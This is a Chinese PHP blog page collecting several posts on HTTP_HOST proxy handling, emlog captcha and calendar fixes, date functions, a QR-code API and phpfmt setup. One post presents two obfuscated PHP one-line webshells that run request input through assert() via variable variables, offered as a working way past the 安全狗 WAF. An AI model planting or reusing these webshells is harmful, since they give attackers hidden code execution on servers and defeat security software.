HP的$_SERVER['HTTP_HOST']获取服务器地址功能详解 PHP
uchome的index文件中的二级域名功能判断,使用了php的$_SERVER['HTTP_HOST'],开始对这个不是很了解,所以百度了一下,发现一篇帖子有点意思,转发过来做个记录。
在php中,我们一般通过$_SERVER['HTTP_HOST']来活得URL中网站的域名或者ip地址。
php手册中的解释如下:
“HTTP_HOST”
当前请求的 Host: 头信息的内容。
一般来说,这样子不会遇到什么问题,在一些常见的php框架中,如PFC3和FLEA也是基于该预定义变量。
然而最近在做的一个项目,程序移交到客户手里测试时,竟然发现程序的跳转总是会出错。
最后找出原因:$_SERVER['HTTP_HOST']在客户的环境里,取得的值总是程序所在的服务器在其局域网内的ip值。
究其原因,是因为,客户的公司通过一台服务器连接至因特网,而我们的程序所在的服务器,是通过域名映射出来的,也就是中间有个“代理”的过程。因此$_SERVER['HTTP_HOST']在这样的环境里,取得的值总是程序所在的服务器在其局域网内的ip值。
最后查了不少资料,在symfony框架里面,找到替代的实现方法:
将
$host = $_SERVER['HTTP_HOST'];
替换成:
$host = isset($_SERVER['HTTP_X_FORWARDED_HOST']) ? $_SERVER['HTTP_X_FORWARDED_HOST'] : (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '');
即可。
注:我刚好遇到这个问题,所以搜索找到了这篇文章,故转载以当作笔记.
原文地址:https://www.oschina.net/question/36370_14769
如何绕过安全狗waf这类的防护软件--PHP过狗一句话实例两枚+过狗详细分析讲解 渗透测试
00x01
目前大多数网站都存在类似安全狗,360主机卫士的防护软件,所以今天咱们来一波虐狗
00x02
下面是我整理的一些免杀的思路:
1.关键字替换
2.组合猜分
3.关键函数替换
4.加解密/编码/解码
5.可变变量
可变变量顾名思义,变量的变量
例:
$a='b';$b='hello world!';echo $$a;
00x03
一句话原型:
一句话原型可以分为以下两部分:
eval() ------> 函数部分
$_POST["ceshi"] ------> 传值部分
00x04
想要绕过安全狗,我们首先要想到它的过滤机制,我做了一番测试,直接放一句话原型上去,会被杀,然而注释掉传值部分就不会被杀,所以我们要混淆
传值部分,函数部分也混淆,让这类防护软件傻傻分不清,从而达到免杀的效果(欢迎各位老表小弟释放出你们的淫荡姿势-_-||)。
00x05
传值方式:
1.$_GET
2.$_POST
3.$_REQUEST
可能会用到的函数:
assert() eval() str_replace()
trim() ltrim() rtrim()
array() rand()
00x06
免杀系列:
//例1: <?php $c = 'w';$w = 'assert'; $a = array(/**/$_REQUEST["ceshi"],/**/$_GET["ceshi"],/**/$_POST["ceshi"],/**/$_FILE["ceshi"],/**/$_COOKIE["ceshi"]); foreach($a as $k => $v){ if($k==$_GET["a"]){//a=0 $$c($v); } } ?> //例2: <?php $a = str_replace('c','',trim('ssscacssss','s').ltrim('aaascc','a').rtrim('ccsbbbbb','b').trim('vvvvcecvvvvvv','v').trim('sssscrcssss','s').ltrim('aaaactc','a')); $b = array('ccc',/**/$_POST["w"],/**/$_REQUEST["w"]); foreach($b as $k => $v){ if($k == rand($_GET["a"],$_GET["b"])){//a=1&b=2 $a($v); } } ?>
下面配上过狗的截图,昨天新鲜出炉的,欢迎食用.(请点击图片浏览高清原图):
今天就写到这里,我们下次见!
代码审校工程师系列之-PHP漏洞发掘及代码防御 PHP
教程来自一位想我求助解压密码的读者,我大致看了一下是2011年左右的,具体的是谁出的教程不知道,不过,作为学习PHP代码审计的还是不错。特地在此分享一下,课程目录如下:
解压密码合集.txt Seay-Svn源代码泄露漏洞利用工具.rar 新浪web安全培训.ppt Seay源代码审计系统2.0.rar 第3课sql注入及防护(2).rar 第1课课程环境搭建.rar 第2课sql注入及防护.rar 第7课文件包含漏洞及代码防御.rar 第10课反射型XSS漏洞和防御.rar 第5课命令执行漏洞及代码防御.rar 第17课打造自己的php防御代码.rar 第6课命令执行漏洞实践防御.rar 第11课存储型XSS漏洞和实践.rar 第16课php函数漏洞及代码防御.rar 第9课CSRF漏洞和防御.rar 第8课文件包含漏洞实战挖掘.rar 第13课php文件上传漏洞和代码防御2.rar 第4课sql注入及防护(3).rar 第12课php文件上传漏洞和代码防御.rar 第18课php安全配置加固.rar 第14课php文件上传漏洞代码分析及防御实践.rar 第15课通过7种方式分析php获取webshell漏洞.rar下载链接:点我传送,如果失效,请联系我更改。
算法学习之处-运用基本的逻辑与数学知识进行简单的循环遍历 代码人生
假设有这么一道数学题:
求第2333个能被2或者被3整除的正整数是…?
举例:(被2或者被3整除的正整数依次是:2,3,4,6,8,9,10,12,14,15,16,18…)
我们也可以使用最基本的数学方法来算:这个时候,数字比较大,用数学的方法就比较吃力费时了,当然,不排除你是个牛人。运算速度超常人,可以不用往下看了,渣渣 -_-|| 颤抖吧!
首先是来看看PHP版:
<?php
function getResult($times){
$i = 0;
$n = 1;
while(true){
if(!($n%2) || !($n%3)){
$i++;
if($i == $times){
return $n;
}
}
$n++;
}
}
echo getResult(2333);
?>
然后看看Java版:
public class Main { public static void main(String[] args) { int cnt=0,num=1; while(true) { if(num%2==0||num%3==0)cnt++; if(cnt==2333)break; num++; } System.out.println(num); } }
Python版本:
[i for i in range(0,8000) if not(i%2 and i%3)][2333]
再看看C++:
//O(1)复杂度,不解释 #include <iostream> using namespace std; bool Check(int m, int n){ if(m%2 ==0 || m%3 == 0){ return m/2 + m/3 - m/6 ==n; } return false; } int Get(int n){ int top = (n-3)/4*6; while(!Check(top, n))//最多循环10次 ++top; return top; } int main(){ cout<<Get(2333)<<endl; }
还有Go语言版本:
func main() {
var x int
c := 2333
//c = x/2+ x/3-x/6==>x=2*c/3 + c%2
x = 3*c/2 + c%2
fmt.Println(x)
}
javascript版本:
var arr = []; var a = 0; while(arr.length < 2334) { a++; if (a % 3 == 0 || a % 2 == 0) { arr.push(a); } } console.log(arr[2332]);php版本呢,我自己还写了个利用数组的方法:
把成立的结果放在数组里(把范围限制在4000以下,不然一直循环下去没完没了-_-|),key按照自增排列,最后foreach遍历,遍历到key值为2333是停止遍历并且把结果输出,但是这个方法貌似很不好,只是本人确实水平不好,正在学习中...哈哈下次再见。
简单修改emlog的checkcode.php给验证码增加干扰线和噪点 emlog
以下是在论坛看到ewceo的帖子里的,但是他并没有给出具体的代码,对于菜鸟们来说就不容易;
鉴于 @奇遇 的反垃圾评论插件(哪怕是最新3.5版)经常被非法侵入式清空设置并报错,也不知是啥BUG,只好亲自动手来反击显示为国外IP的长篇英文评论了
首先分析状况:咱EMLOG的所有文章评论表单都是使用一个相同的提交地址,只是将文章ID赋在一个INPUT之中,这就给了机器人可趁之机:提交地址固定的、验证码地址固定的(还TM特好识别),文章ID是数字的随机生成就好,EMLOG的评论表单被模似简直是史上最轻松啊!所以JS之类的手段在机器人面前都是渣……
8错,在尚无给力插件问世的情况下,治标治本的办法只有改内核文件了:
第1步:英文垃圾评论一大特色就是长篇的并夹杂着火星文字,所以必含中文这样的反制也弱爆了,comment_controller.php文件定义评论最大字符数居然为8000,这是干神马的节奏,很多文章都够不到4000字好吧,发条微博和说说都不能超140字,所以偶赶紧给改为几百压压惊,上千字的精彩评论偶不需要啊
完成第一步还得紧接着做第2步:额,斗个胆,EMLOG默认的验证码偶能吐个槽么,生成的文字中规中矩且颜色清晰好辨,根本就是鸡肋嘛,除了给真心评论的人制造一道坎外,简直就是垃圾评论机器人的帮凶,还有比这更好自动识别的验证码么?checkcode.php唯一可赞之处似乎是不涉及字体文件,代码也比较精炼,这是偶所喜欢的风格,因此就没给彻底换掉,只是加了一点代码:增加几个随机线条,文字颜色范围也弄宽了点(为了防止人眼难识别,增加了点击刷新)……
如此2招之后偶就已经开始坐等机器人了,别的没啥,偶就是在线时间多,突然发现与垃圾评论玩玩策略对抗也有点意思,话说机器人若玩不过偶就暂不上后招咯
学过php的人应该很容易修改,我在这里把我修改过的粗略代码贴出来,便于不会的朋友借鉴,也便于会的朋友给我指点:
<?php /** * Emlog图片验证码生成程序 * @copyright (c) Emlog All Rights Reserved * Modify By Mrxn * Emlog Site: http://www.emlog.net/ * Mrxn's Blog: https://mrxn.net/ */ session_start(); $randCode = ''; $chars = 'abcdefghijkmnpqrstuvwxyzABCDEFGHIJKLMNPRSTUVWXYZ23456789'; for ( $i = 0; $i < 5; $i++ ){ $randCode .= substr($chars, mt_rand(0, strlen($chars) - 1), 1); } $_SESSION['code'] = strtoupper($randCode); $img = imagecreate(75,25) or die("创建图像资源失败,请刷新页面"); $bgColor = isset($_GET['mode']) && $_GET['mode'] == 't' ? imagecolorallocate($img,245,245,245) : imagecolorallocate($img,255,255,255); $pixColor = imagecolorallocate($img,mt_rand(88, 245), mt_rand(55, 240), mt_rand(99, 200)); //画字符、大小 for($i = 0; $i < 5; $i++){ $x = $i * 13 + mt_rand(3, 7) - 2; $y = mt_rand(0, 3); $text_color = imagecolorallocate($img, mt_rand(100, 250), mt_rand(80, 180), mt_rand(90, 220)); imagechar($img, 5, $x + 5, $y + 3, $randCode[$i], $text_color); } //画干扰点 for($j = 0; $j < 240; $j++){ $x = mt_rand(0,100); $y = mt_rand(0,40); imagesetpixel($img,$x,$y,$pixColor); } //4条横斜线 for ($i=0; $i < 5; $i++) { $lineColor = imagecolorallocate($img, rand(50, 150), rand(50, 150), rand(50, 150)); $lineX1 = 0; $lineX2 = 80; $lineY1 = ($i + 1) * 8; $lineY2 = ($i + 1) * 15; imageline($img, $lineX1, $lineY1, $lineX2, $lineY2, $lineColor); } //4条竖斜线 for ($i=0; $i < 5; $i++) { $lineColor = imagecolorallocate($img, rand(50, 150), rand(50, 150), rand(50, 150)); $lineY1 = 0; $lineY2 = 30; $lineX1 = ($i + 1) * 8; $lineX2 = ($i + 1) * 15; imageline($img, $lineX1, $lineY1, $lineX2, $lineY2, $lineColor); } header('Content-Type: image/png'); imagepng($img); imagedestroy($img);
将以上代码保存为[code]checkcode.php[/code]放在 你网站根目录/include/lib/下 覆盖,然后重启Apache或者是Nginx 即可看到效果(当然需要后台开启验证码)。
为防止真正的读者不能识别验证码,请给验证码添加上 点击刷新 功能,
参考链接:给emlog5.3添加验证码刷新功能 https://mrxn.net/emlog-teach/242.html
[red]注:在进行DIY操作之前,请先备份相关文件,以防万一!本文基于emlog 5.31测试可行,理论上兼容所有版本,只要php版本不低于4[/red]
相关参考:
https://segmentfault.com/a/1190000002924386
http://bbs.emlog.net/thread-40567-1-1.html
对于反垃圾评论,也可以试试我这款插件:
https://mrxn.net/emlog-teach/emlog-math-comment-plugin.html
http://www.emlog.net/plugin/248
php判断某个日期是否为今天来高亮emlog当天发表的文章 PHP
先贴上简单的代码供大家参考:
<?php /** * PHP判断一个日期是不是今天 * @author Mrxn * @Blog https://mrxn.net/ */ echo '<meta charset="utf-8" />'; // 拟设一个日期 $a = '2015-12-19 10:10:10'; // 截取日期部分,摒弃时分秒 $b = substr($a,0,10); #或者是利用 gmdate()函数格式化,下面会有实例 // 获取今天的日期,格式为 YYYY-MM-DD $c = date('Y-m-d'); // 使用IF当作字符串判断是否相等 if($b==$c){ echo '是今天'; }else{ echo '不是今天'; } ?> <?php /** * PHP判断一个日期是不是今天 * @author Mrxn * @Blog https://mrxn.net/ */ echo '<meta charset="utf-8" />'; // 拟设一个日期 $a = '2015-12-19 10:10:10'; // 转换为时间戳 $a_ux = strtotime($a); // 转换为 YYYY-MM-DD 格式 $a_date = date('Y-m-d',$a_ux); // 获取今天的 YYYY-MM-DD 格式 $b_date = date('Y-m-d'); // 使用IF当作字符串判断是否相等 if($a_date==$b_date){ echo '是今天'; }else{ echo '不是今天'; } ?>
下面就是emlog中具体的利用了:
$nowtime = date('Y-m-d'); $endtime = gmdate('Y-m-d',$row['date']); $date = gmdate('m-d', $row['date']); $gid = $row['gid']; if ($is_list == "1") { $out .='<ul id="ul1">'; if ($nowtime==$endtime) { $out .= ' <li><span style="color:red;font-weight:bold" id="date">[' . $date . ']</span><a style="color:red;font-weight:bold" href="' . Url::log($row['gid']) . '" title="' . $row['title'] . '" ><span id="arrow">▪</span>' . $row['title'] . '</a></li> '; $out .='</ul>'; }else{ $out .= ' <li><span id="date">[' . $date . ']</span><a href="' . Url::log($row['gid']) . '" title="' . $row['title'] . '" ><span id="arrow">▪</span>' . $row['title'] . '</a></li> '; $out .='</ul>'; } }
效果如上图所示,当天发表的文章标题和日期为红色加粗,就是通过判断文章发表时间和当前时间是否为同一天,从而实施不同的css样式,达到想要的效果,当然,你也可以创新,自己修改,比如一周内更新的颜色,或者是几天内更新的又是什么颜色,只需要稍微修改一下if判断就好了。好了,就到这里了,如有什么疑问和建议,欢迎下方评论留言和我交流。
PHP时间比较和时间差如何计算和Date函数格式化时间 PHP
<?php $zero1=date(“y-m-d h:i:s”); $zero2=”2010-11-29 21:07:00′; echo “zero1的时间为:”.$zero1.”<br>”; echo “zero2的时间为:”.$zero2.”<br>”; if(strtotime($zero1)<strtotime($zero2)){ echo “zero1早于zero2′; }else{ echo “zero2早于zero1′; } ?>
上面是比较两个绝对时间的大小
<?php $zero1=strtotime (date("y-m-d h:i:s")); //当前时间 ,注意H 是24小时 h是12小时 $zero2=strtotime ("2014-1-21 00:00:00"); //过年时间,不能写2014-1-21 24:00:00 这样不对 $guonian=ceil(($zero2-$zero1)/86400); //60s*60min*24h echo "离过年还有<strong>$guonian</strong>天!"; ?>
上面是倒计时小程序 实例代码
<?php //PHP计算两个时间差的方法 $startdate="2010-12-11 11:40:00"; $enddate="2012-12-12 11:45:09"; $date=floor((strtotime($enddate)-strtotime($startdate))/86400); $hour=floor((strtotime($enddate)-strtotime($startdate))%86400/3600); $minute=floor((strtotime($enddate)-strtotime($startdate))%86400/60); $second=floor((strtotime($enddate)-strtotime($startdate))%86400%60); echo $date."天<br>"; echo $hour."小时<br>"; echo $minute."分钟<br>"; echo $second."秒<br>"; ?>
上面是PHP计算两个时间差的方法
还有一个简单的方法:
<?php echo floor((time()-strtotime("2014-06-15"))/86400);//86400为天,请根据情况修改 ?>
<?php /** * 时间差计算 * * @param Timestamp $time * @return String Time Elapsed * @author Shelley Shyan * @copyright http://phparch.cn (Professional PHP Architecture) */ function time2Units ($time) { $year = floor($time / 60 / 60 / 24 / 365); $time -= $year * 60 * 60 * 24 * 365; $month = floor($time / 60 / 60 / 24 / 30); $time -= $month * 60 * 60 * 24 * 30; $week = floor($time / 60 / 60 / 24 / 7); $time -= $week * 60 * 60 * 24 * 7; $day = floor($time / 60 / 60 / 24); $time -= $day * 60 * 60 * 24; $hour = floor($time / 60 / 60); $time -= $hour * 60 * 60; $minute = floor($time / 60); $time -= $minute * 60; $second = $time; $elapse = ''; $unitArr = array('年' =>'year', '个月'=>'month', '周'=>'week', '天'=>'day', '小时'=>'hour', '分钟'=>'minute', '秒'=>'second' ); foreach ( $unitArr as $cn => $u ) { if ( $$u > 0 ) { $elapse = $$u . $cn; break; } } return $elapse; } $past = 2052345678; // Some timestamp in the past $now = time(); // Current timestamp $diff = $now - $past; echo '发表于' . time2Units($diff) . '前'; ?>
格式化时间
date() 函数用于格式化时间,返回一个字符串。
语法:
string date( string format [, int timestamp] )
参数 format 表示时间格式化的方式,可能的方式如下:
格式化方式 | 说明 |
---|---|
Y | 4位数字年,y为2位数字,如99即1999年 |
m | 数字月份,前面有前导0,如01。n 为无前导0数字月份 |
F | 月份,完整的文本格式,例如 January 或者 March |
M | 三个字母缩写表示的月份,例如 Jan 或者 Mar |
d | 月份中的第几天,前面有前导0,如03。j 为无前导0的天数 |
w | 星期中的第几天,以数字表示,0表示星期天 |
z | 年份中的第几天,范围0-366 |
W | 年份中的第几周,如第32周 |
H | 24小时格式,有前导0,h为12小时格式 |
G | 24小时格式,无前导0,g为对应12小时格式 |
i | 分钟格式,有前导0 |
s | 秒格式,有前导0 |
A | 大写上下午,如AM,a为小写 |
可选参数 timestamp 表示时间戳,默认为 time() ,即当前时间戳。
我们可以通过 date() 函数提供的丰富格式化来显示需要的时间日期,如下面的例子:
date("Y-m-d",time()); //显示格式如 2008-12-01 date("Y.m.d",time()); //显示格式如 2008.12.01 date("M d Y",time()); //显示格式如 Dec 01 2008 date("Y-m-d H:i",time()); //显示格式如 2008-12-01 12:01
提示
如果您输出的时间和实际时间差8个小时(假设您采用的北京时区)的话,请检查php.ini文件,做如下设置:
date.timezone = PRC
如需做其他时区的设置请参考:http://www.php.net/manual/en/timezones.php
本文参考:
http://www.cnblogs.com/wellsoho/p/3248082.html
http://www.5idev.com/p-php_time_date.shtml
免费在线生成二维码API接口可以使用了,支持http和https PHP
本站在线二维码API接口 支持https和http 、支持 get 和 post 请求方式、
欢迎大家使用:普通http网站调用样例:http://api.mrxn.net/mrxnqrapi/api.php?data= + 文字/网址等内容 其实http的两个都可以使用的
需要使用https网站可以参看下面的调用方法:
https://mrxn.net/mrxnqrapi/api.php?size=4x4&data=mrxn.net 生成的二维码如下:
Mrxn二维码API参数说明
data:要转码的数据
level:默认L 纠错级别:L、M、Q、H
size:默认4 点的大小:1到10,用于手机端4就可以了
margin:默认1 边距 1到10
logo:默认为空 需要使用logo的请单独找我详谈!
作者:Mrxn Blog: https://mrxn.net Email:[email protected]
当然也有在线制作你喜欢样式的二维码:免费体验一下
制作初衷因为本站是https的,非https加密也是可以使用的,但是浏览器的绿色小锁就会显示感叹号,我这人有强迫症!而且但免费的网站很多的都不支持https,或者是很慢,果断觉得自己搞,问了@独狼一些,还有@php爱好者,最终自己搞定了。
下面给大家列出几个大家常用的国内外的免费在线生成二维码 API 的链接:
支持http的:
http://b.bshare.cn/barCode?site=weixin&url=https://mrxn.net
http://s.jiathis.com/qrcode.php?url=https://mrxn.net
http://qr.liantu.com/api.php?text=mrxn.net
http://api.k780.com:88/?app=qr.get&data=mrxn.net&level=L&size=6
最新发现的百度云盘的:http://pan.baidu.com/share/qrcode?w=150&h=150&url=mrxn.net
支持https的:
国外的:https://api.qrserver.com/v1/create-qr-code/?size=150x150&data=mrxn.net
我自己的:https://mrxn.net/mrxnqrapi/api.php?data=mrxn.net
明月浩空的:https://limh.me/api/qrapibig.php?url=mrxn.net.jpg 他这个必须加括号里面的后缀才行(.jpg)
最新发现的百度云盘的:https://pan.baidu.com/share/qrcode?w=150&h=150&url=mrxn.net (不过加载了非加密的资源,强迫症就别用了!)
更多的二维码分享可以参看我这篇文章:https://mrxn.net/free/261.html
分享4个自动生成网址二维码图片的方法
sublime text3安装phpfmt插件格式化php 技术文章
sublime text3也支持php格式化的插件了,在这里向作者致敬,感谢他开发出这个插件,如果你不知道sublime就不要往下看了,免得浪费你的时间,
首先是你的sublime安装了package control(插件管理包),如果没有安装,请自行百度搜索安装,一大堆教程,在你安装了package control之后,引用原作者的话就是:
Install this plugin through Package Manager.
-
In Sublime Text press
ctrl+shift+P
-
Choose
Package Control: Install Package
-
Choose
phpfmt
- 打开sublime,在sublime界面 按 Ctrl+shift+P 组合键,
- 输入 install package,找到Install Package,并回车打开,
- 输入 phpfmt 找到并回车安装,等待安装结束,
做完上面的工作,还不能使用phpfmt插件的,还需要配置插件所需要的php环境,最新版的phpfmt插件需要php5.6或者更高版本,这里,博主离线了两个在百度网盘,分别是php5.6和php7.0的非安全线程压缩包(都是64位的),直接解压到你想放的目录即可,如果需要其他版本或者是32位的请自行前往php官网下载,百度网盘地址:http://pan.baidu.com/s/1kUn5zxl 官方下载页面:http://www.php.net/downloads.php
将自己需要的安装包下载下载后,解压到你想放的地方,比如博主,防止wampserver的php目录里面,这是方便我的wampserver使用,你们可以根据自己的需要放置;接下来就是打开phpfmt配置:
Preferences > Package Settings > phpfmt > Settings - User
我将我的配置贴出来,供大家参考:
{ "enable_auto_align":true,//自动调整对齐 "indent_with_space": true,//自动空格 "psr1": true, "psr2": true, "version": 4, "php_bin":"D:/wamp/bin/php/php5.6.16/php.exe",//php路径 "format_on_save":true,//保存的时候自动格式化 "option": "value" }
其中的php_bin 很重要,就是你存放php的路径,其中的有些配置我在百度没有搜搜到,在国外的网站上看到的,试了一下还不错,原地址:http://stackoverflow.com/questions/29350807/sublime-text-3-php-fmt-wont-work 有兴趣的童鞋可以去看看。
配置完之后,重启sublime text3,打开你需要格式化的php文件,快捷键:Ctrl+F11 或则是在按下组合键Ctrl+shift+P后输入phpfmt 即可选择想要执行的操作,下面是一些常用命令:
The following features are available through command palette (ctrl+shift+P or cmd+shift+P) : phpfmt: format now //立即格式化 ctrl+F11 phpfmt: indentation with spaces phpfmt: toggle additional transformations phpfmt: toggle excluded transformations phpfmt: toggle skip execution when .php.tools.ini is missing phpfmt: toggle auto align phpfmt: toggle autocomplete phpfmt: toggle dependency autoimport phpfmt: toggle format on save phpfmt: toggle PSR1 - Class and Methods names phpfmt: toggle PSR1 phpfmt: toggle PSR2 phpfmt: toggle smart linebreak after open curly phpfmt: toggle visibility order phpfmt: toggle yoda mode phpfmt: analyse this //Ctrl+F10 phpfmt: build autocomplete database phpfmt: getter and setter (camelCase) phpfmt: getter and setter (Go) phpfmt: getter and setter (snake_case) phpfmt: generate PHPDoc block phpfmt: look for .php.tools.ini phpfmt: reorganize content of class phpfmt: refactor phpfmt: toggle PHP 5.5 compatibility mode phpfmt: enable/disable additional transformations phpfmt: troubleshoot information
phpfmt插件作者项目在github的主页:https://github.com/phpfmt/sublime-phpfmt
实际效果看下面是我的亲测的code:
<?php for($i = 0; $i < 10; $i++) { if($i%2==0) echo "Flipflop"; } // 格式化之后的样子 <?php for ($i = 0; $i < 10; $i++) { if ($i % 2 == 0) { echo "Flipflop"; } } ?> <?php $a = 10; $otherVar = 20; $third = 30; // 格式化之后的样子 <?php $a = 10; $otherVar = 20; $third = 30; <?php namespace NS\Something; use \OtherNS\C; use \OtherNS\B; use \OtherNS\A; use \OtherNS\D; $a = new A(); $b = new C(); $d = new D(); // 格式化之后的样子 <?php namespace NS\Something; use \OtherNS\A; use \OtherNS\C; use \OtherNS\D; $a = new A(); $b = new C(); $d = new D(); // PSR version <?php for($i = 0; $i < 10; $i++) { if($i%2==0) echo "Flipflop"; } // 格式化之后的样子 <?php for ($i = 0; $i < 10; $i++) { if ($i % 2 == 0) { echo "Flipflop"; } } <?php class A { function a(){ return 10; } } // 格式化之后的样子 <?php class A { public function a() { return 10; } } <?php namespace NS\Something; use \OtherNS\C; use \OtherNS\B; use \OtherNS\A; use \OtherNS\D; $a = new A(); $b = new C(); $d = new D(); // 格式化之后的样子 <?php namespace NS\Something; use \OtherNS\A; use \OtherNS\C; use \OtherNS\D; $a = new A(); $b = new C(); $d = new D();
如果需要下载使用新版sublime text3 并且免费注册,请查看这篇文章:
(Mrxn分享)Sublime Text 3 Build 3065 安装版注册+汉化
emlog侧边栏日历显示正在加载中解决方法(包括https和http) emlog
这几天在论坛看到王老师 @王语双 发帖说,他的emlog内页日历显示不出来,一直显示 --加载中(包括https和http),却一直显示不出来,如图:
王老师的是http网站,我的是https的,也是加载不出来,在论坛看到的答复中知道大概是这三点的原因造成的:
- js冲突;
- 网络问题;
- 301跳转问题;
王老师的情况最后发现是属于网络问题,即有时候网络高峰期的时候,移动网络有可能出现这种情况;
js冲突一般在浏览器的开发者工具条里面可以看出来,这里不做讨论;
网络问题嘛,没法解决,自己换服务商吧!
301跳转问题:
没做好301跳转的,比如没有做mrxn.net 301跳转到 www.mrxn.ne t的时候,访问mrxn.net 就有可能出现这种情况,一般在开发者工具条里面有提示:
XMLHttpRequest cannot load http://www.wys.me/?action=cal&randnum=0.19238296267576516. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://wys.me' is therefore not allowed access.
我的站点属于https加密的类型,所以提示的就是如下信息:
Mixed Content: The page at 'https://mrxn.net/' was loaded over HTTPS, but requested an insecure XMLHttpRequest endpoint 'https://mrxn.net/?action=cal&randnum=0.8051533969119191'. This request has been blocked; the content must be served over HTTPS.大概意思就说,这个页面使用的是https加载https://mrxn.net,但是请求里面混杂非加密的请求
https://mrxn.net?action=cal&randnum=0.8051533969119191,因此这个请求被服务器阻断了,因为服务器要求请求必须是https加密的。
我在论坛里面回帖说了一下我的https也不加载,得到了基友hackhp @hackhp 的如下答复:
修改/include/lib/function.base.php里面的
return 'http://' . $_SERVER['HTTP_HOST'] . $matches[0];
修改为:
return '//' . $_SERVER['HTTP_HOST'] . $matches[0];我做了测试,的确修改后就可以加载了
函数的注释显示是
/**
* 获取站点地址(仅限根目录脚本使用,目前仅用于首页ajax请求)
*/
也就是说这个函数是用于ajax请求获取网站地址的,那么,修改成如下形式也是可以的:
return 'https://' . $_SERVER['HTTP_HOST'] . $matches[0];结果证明是可行的。
emlog侧边栏日历显示正在加载中解决方法(包括https和http)这个小问题在此小计就结束了,在此记录分享可能需要的朋友,希望可以帮到你们。